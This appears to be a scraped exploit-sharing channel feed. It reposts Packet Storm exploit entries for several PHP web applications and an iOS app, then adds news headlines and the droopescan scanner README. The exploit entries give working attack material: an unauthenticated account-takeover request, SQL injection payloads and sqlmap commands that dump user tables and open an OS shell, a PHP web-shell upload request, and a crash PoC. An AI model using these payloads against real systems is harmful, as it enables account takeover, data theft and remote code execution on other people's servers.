Hacking Articles Tips Tricks Videos Tutorials

Foxit PDF Editor (iOS) 11.3.1 Arbitrary File Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 16:05

7 views16:05

7 views16:05

Exploit Collector
Online Sports Complex Booking System 1.0 Account Takeover

https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
Online Sports Complex Booking System version 1.0 suffers from an account takeover vulnerability due to missing authorization controls.

MD5 | b6d49275b162f013d9b412342052fd1d

Download

# Exploit Title: Online Sports Complex Booking System - Account Takeover (Unauthenticated) 
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Description :

Online Sports Complex Booking System is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters

# Steps to Reproduce :

1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" parameters.

2. Go to http://localhost/scbs/admin/ and Log in to the user account by changed username and password
======

POST /scbs/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------11619114222641896828949561514
Content-Length: 811
Origin: http://localhost
Connection: close
Referer: http://localhost/scbs/admin/?page=user
Cookie: PHPSESSID=2knksvuc4mgojfd9enhccg08sn

-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="id"

1
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="firstname"

Adminstrator
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="lastname"

Admin
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="username"

admin
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="password"

admin
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------11619114222641896828949561514--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Online Sports Complex Booking System 1.0 Account Takeover

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 16:05

Exploit Collector
Online Sports Complex Booking System 1.0 SQL Injection

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Online Sports Complex Booking System version 1.0 suffers from a remote blind SQL injection vulnerability.

MD5 | 4ebb44de595b259e76c97e5b423b7a73

Download

# Exploit Title: Online Sports Complex Booking System - 'id' Blind SQL Injection
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Vulnerable Code

line 3 in file "/scbs/view_facility.php"

$qry = $conn->query("SELECT f.*, c.name as category from `facility_list` f inner join category_list c on f.category_id = c.id where f.id = '{$_GET['id']}' ");
# Sqlmap command:

sqlmap -u 'http://localhost/scbs/?p=view_facility&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=view_facility&id=1' AND 9877=9877 AND 'MVfb'='MVfb

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=view_facility&id=1' AND (SELECT 8456 FROM (SELECT(SLEEP(5)))ZnUC) AND 'GiOo'='GiOo

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Online Sports Complex Booking System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 16:05

Exploit Collector
Trend Micro Virtual Mobile Infrastructure 6.0.1278 Denial Of Service

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
Trend Micro Virtual Mobile Infrastructure version 6.0.1278 suffers from a denial of service vulnerability.

MD5 | be91bbba03c29d20f7c3fc0003b45b0d

Download

# Exploit Title: Trend Micro Virtual Mobile Infrastructure (TMVMI) version 6 - Denial of Service (PoC)
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.trendmicro.com/
# Software Link: App Store for iOS devices
# Version: 6.0.1278
# Tested: iPhone 6 iOS 12.4.7
# Vulnerability Type: Denial of Service (DoS) Local
# Contact: https://twitter.com/dmaral3noz
# Steps to Produce the Crash:
1- Run python code: TMVMI_6.py
2- Copy content to clipboard
3- Open TMVMI Client
4- Paste ClipBoard on "address"
5- Click Next
6- Crashed
------------------------- 
TMVMI_6.py
-------------------------

#!/usr/bin/env python

buffer = "\x41" * 1500
print (buffer)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Trend Micro Virtual Mobile Infrastructure 6.0.1278 Denial Of Service

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 16:05

Exploit Collector
Microfinance Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Microfinance Management System version 1.0 suffers from a remote blind SQL injection vulnerability that can be used to escalate privileges and execute code.

MD5 | 53bb6ae2347ecd311edc9d60a802a7d0

Download

# Title: Microfinance Management System 1.0  SQLi To Rce
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/14822/microfinance-management-system.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code  php

```php

$sql = "SELECT count(*) AS total_account FROM account_type";
$result = mysqli_query($conn, $sql);
$data = mysqli_fetch_assoc($result);
?>
}
```
#Status: CRITICAL
```
GET parameter 'account_type_number' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 147 HTTP(s) requests:
---
Parameter: account_type_number (GET)
Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: account_type_number=-6015' UNION ALL SELECT 7366,CONCAT(0x716b626b71,0x4268666c6b715274794a58534f487366546e5379414951584a684459764f424451536f5a707a6a6a,0x7170707a71),7366#
---

```
#SQLi Time to Rce
#ُExploit 
sqlmap -u 'http://0day.gov/mims/updateaccount_type.php?account_type_number=6015'  --hex --time-sec=17 --dbms=mysql --technique=u  --random-agent  --eta -p account_type_number   -D mims -T users  --dump --os-shell 

# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/kRcQmxO.png
https://i.imgur.com/4RmKSom.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Microfinance Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 16:05

Exploit Collector
containerd Image Volume Insecure Handling

___________________________
@hacking_Attack
@Hacking_Video

containerd Image Volume Insecure Handling

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 16:05

2 views16:05

Exploit Collector
Event Management System 1.0 Shell Upload

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png Event Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 11d07a26897f7bc6e067e726567706bcDownload

# Title: Event Management System  1.0  Shell Upload
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code  php
Needs more filtering to upload profile files

php```
if(isset($_POST['submit']))
{
$adminid=$_SESSION['odmsaid'];
$productname=$_POST['productName'];
$productimage1=$_FILES["productimage1"]["name"];
move_uploaded_file($_FILES["productimage1"]["tmp_name"],"assets/img/profileimages/".$_FILES["productimage1"]["name"]);
$sql="update  tbladmin set Photo=:productimage1 where ID=:aid";
$query = $dbh->prepare($sql);
$query->bindParam(':productimage1',$productimage1,PDO::PARAM_STR);
$query->bindParam(':aid',$pid,PDO::PARAM_STR);
$query->execute();
$_SESSION['msg']="profile Image Updated Successfully !!";
}
?>
```
[+] Payload POST
```
POST /scbs/?p=manage_account HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/scbs/
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Event Management System 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 16:05

6 views16:06

6 views16:07

Exploit Collector
Sports Complex Booking System 1.0 SQL Injection

https://3.bp.blogspot.com/-00fiGlDHfKo/WWlvZ5odqlI/AAAAAAAAIO4/nnZp17OtkHAWqiO0pbFBQSys2U4_yu8pACLcBGAs/s1600/h7.png
Sports Complex Booking System version 1.0 suffers from a remote blind SQL injection vulnerability that can be used to escalate privileges and execute code.

MD5 | 198e99bd9735413efa8ab6e715ef5578

Download

# Title: Sports Complex Booking System 1.0 Blind SQLi To Rce
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code  php

```php
if(isset($_GET['id']) && $_GET['id'] > 0){
$qry = $conn->query("SELECT f.*, c.name as category from `facility_list` f inner join category_list c on f.category_id = c.id where f.id = '{$_GET['id']}' ");
if($qry->num_rows > 0){
foreach($qry->fetch_assoc() as $k => $v){
$$k=stripslashes($v);
}
}
}```
#Status: CRITICAL
```
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=view_facility&id=4' AND 1013=1013-- aQIm

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: p=view_facility&id=4' OR (SELECT 7626 FROM(SELECT COUNT(*),CONCAT(0x71716a7671,(SELECT (ELT(7626=7626,1))),0x71787a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SkTl

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=view_facility&id=4' AND (SELECT 5013 FROM (SELECT(SLEEP(5)))lCeY)-- pdUo
---

```
#Blind SQLi Time to Rce
#ُExploit 
sqlmap -u 'http://0day.gov/scbs/?p=view_facility&id=4'  --hex --time-sec=17 --dbms=mysql --technique=t  --random-agent  --eta -p id   -D scbs -T users  --dump --os-shell 

# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/nY9GR9F.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Sports Complex Booking System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 16:07

Dark Reading: Attacks/Breaches
Vade Receives Patent on Anti-Phishing Tech

The patent covers a technique to detect phishing kits even as the kits utilize defensive mechanisms to avoid detection.

8 views16:18

Source

Dark Reading: Attacks/Breaches
What the Conti Ransomware Group Data Leak Tells Us

Knowing the inner workings of Conti will not only help ransomware negotiators but also help organizations to better handle a ransomware attack when it happens.

8 views16:18

Source

6 views17:31

Droopescan : A Plugin-Based Scanner That Aids Security Researchers

Kali Linux Tutorials
Droopescan : A Plugin-Based Scanner That Aids Security Researchers

Droopescan is a plugin-based scanner that aids security researchers in identifying issues with several CMS.

Usage of droopescan for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Please note that while droopescan outputs the most CMS likely version installed on the remote host, any correlation between version numbers and vulnerabilities must be done manually by the user.

Supported CMS are:

* SilverStripe
* WordPress
* Drupal

Partial functionality for:

* Joomla (version enumeration and interesting URLs only)
* Moodle (plugin & theme very limited, watch out)

computer:~/droopescan$ droopescan scan drupal -u http://example.org/ -t 32
[+] No themes found.
[+] Possible interesting urls found:
Default changelog file – https://www.example.org/CHANGELOG.txt
Default admin – https://www.example.org/user/login
[+] Possible version(s):
7.34
[+] Plugins found:
views https://www.example.org/sites/all/modules/views/
https://www.example.org/sites/all/modules/views/README.txt
https://www.example.org/sites/all/modules/views/LICENSE.txt
token https://www.example.org/sites/all/modules/token/
https://www.example.org/sites/all/modules/token/README.txt
https://www.example.org/sites/all/modules/token/LICENSE.txt
pathauto https://www.example.org/sites/all/modules/pathauto/
https://www.example.org/sites/all/modules/pathauto/README.txt
https://www.example.org/sites/all/modules/pathauto/LICENSE.txt
https://www.example.org/sites/all/modules/pathauto/API.txt
libraries https://www.example.org/sites/all/modules/libraries/
https://www.example.org/sites/all/modules/libraries/CHANGELOG.txt
https://www.example.org/sites/all/modules/libraries/README.txt
https://www.example.org/sites/all/modules/libraries/LICENSE.txt
entity https://www.example.org/sites/all/modules/entity/
https://www.example.org/sites/all/modules/entity/README.txt
https://www.example.org/sites/all/modules/entity/LICENSE.txt
google_analytics https://www.example.org/sites/all/modules/google_analytics/
https://www.example.org/sites/all/modules/google_analytics/README.txt
https://www.example.org/sites/all/modules/google_analytics/LICENSE.txt
ctools https://www.example.org/sites/all/modules/ctools/
https://www.example.org/sites/all/modules/ctools/CHANGELOG.txt
https://www.example.org/sites/all/modules/ctools/LICENSE.txt
https://www.example.org/sites/all/modules/ctools/API.txt
features https://www.example.org/sites/all/modules/features/
https://www.example.org/sites/all/modules/features/CHANGELOG.txt
https://www.example.org/sites/all/modules/features/README.txt
https://www.example.org/sites/all/modules/features/LICENSE.txt
https://www.example.org/sites/all/modules/features/API.txt
[… snip for README …]
[+] Scan finished (0:04:59.502427 elapsed)

You can get a full list of options by running:

droopescan –help
droopescan scan –help Why not X?Because droopescan:

* is fast
* is stable
* is up to date
* allows simultaneous scanning of multiple sites
* is 100% python InstallationWith pip (recommended)Installation is easy using pip:

apt-get install python-pip
pip install droopescan From sourcesManual installation is as follows:

git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
./droopescan scan –help

The master branch corresponds to the latest release (what is in pypi). Development branch is unstable and all pull requests must be made against it. BlackArchBlackArch package installation (maintained by a third party):

sudo pacman -S droopescan DockerYou can build a docker i[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Droopescan is a plugin-based scanner that aids security researchers in identifying issues with several CMS.

5 viewsedited 17:31

Kali Linux Tutorials Droopescan : A Plugin-Based Scanner That Aids Security Researchers Droopescan is a plugin-based scanner that aids security researchers in identifying issues with several CMS. Usage of droopescan for attacking targets without prior mutual…

mage and run droopescan from Docker:

git clone https://github.com/droope/droopescan.git
cd droopescan
docker build -t droope/droopescan .
display help
docker run –rm droope/droopescan
example scanning a drupal site
docker run –rm droope/droopescan scan drupal -u https://drupal.example.com FeaturesScan typesDroopescan aims to be the most accurate by default, while not overloading the target server due to excessive concurrent requests. Due to this, by default, a large number of requests will be made with four threads; change these settings by using the --numberand --threadsarguments respectively.

This tool is able to perform four kinds of tests. By default all tests are ran, but you can specify one of the following with the -eor --enumerateflag:

* p — Plugin checks: Performs several thousand HTTP requests and returns a listing of all plugins found to be installed in the target host.
* t — Theme checks: As above, but for themes.
* v — Version checks: Downloads several files and, based on the checksums of these files, returns a list of all possible versions.
* i — Interesting url checks: Checks for interesting urls (admin panels, readme files, etc.) Target specificationYou can specify a particular host to scan by passing the -uor --urlparameter:

droopescan scan drupal -u example.org

You can also omit the drupalargument. This will trigger “CMS identification”, like so:

droopescan scan -u example.org

Multiple URLs may be scanned utilising the -Uor --url-fileparameter. This parameter should be set to the path of a file which contains a list of URLs.

droopescan scan drupal -U list_of_urls.txt

The drupalparameter may also be ommited in this example. For each site, it will make several GET requests in order to perform CMS identification, and if the site is deemed to be a supported CMS, it is scanned and added to the output list. This can be useful, for example, to run droopescanacross all your organisation’s sites.

droopescan scan -U list_of_urls.txt

The code block below contains an example list of URLs, one per line:

http://localhost/drupal/6.0/
http://localhost/drupal/6.1/
http://localhost/drupal/6.10/
http://localhost/drupal/6.11/
http://localhost/drupal/6.12/

A file containing URLs and a value to override the default host header with separated by tabs or spaces is also OK for URL files. This can be handy when conducting a scan through a large range of hosts and you want to prevent unnecessary DNS queries. To clarify, an example below:

192.168.1.1 example.org
http://192.168.1.1/ example.org
http://192.168.1.2/drupal/ example.org

It is quite tempting to test whether the scanner works for a particular CMS by scanning the official site (e.g. wordpress.orgfor wordpress), but the official sites rarely run vainilla installations of their respective CMS or do unorthodox things. For example, wordpress.orgruns the bleeding edge version of wordpress, which will not be identified as wordpress by droopescanat all because the checksums do not match any known wordpress version. AuthenticationThe application fully supports .netrcfiles and http_proxyenvironment variables.

Use a .netrc file for basic authentication. An example netrc (a file named .netrcplaced in your root home directory) file could look as follows:

machine secret.google.com
login admin@google.com
password Winter01 OutputThis application supports both “standard output”, meant for human consumption, or JSON, which is more suitable for machine consumption. This output is stable between major versions.

This can be controlled with the --outputflag. Some sample JSON output would look as follows (minus the excessive whitespace):

“themes”: {
“i[...]

___________________________
@hacking_Attack
@Hacking_Video

GitHub

GitHub - SamJoan/droopescan: A plugin-based scanner that aids security researchers in identifying issues with several CMSs, mainly…

A plugin-based scanner that aids security researchers in identifying issues with several CMSs, mainly Drupal & Silverstripe. - SamJoan/droopescan

4 viewsedited 17:31

4 views17:31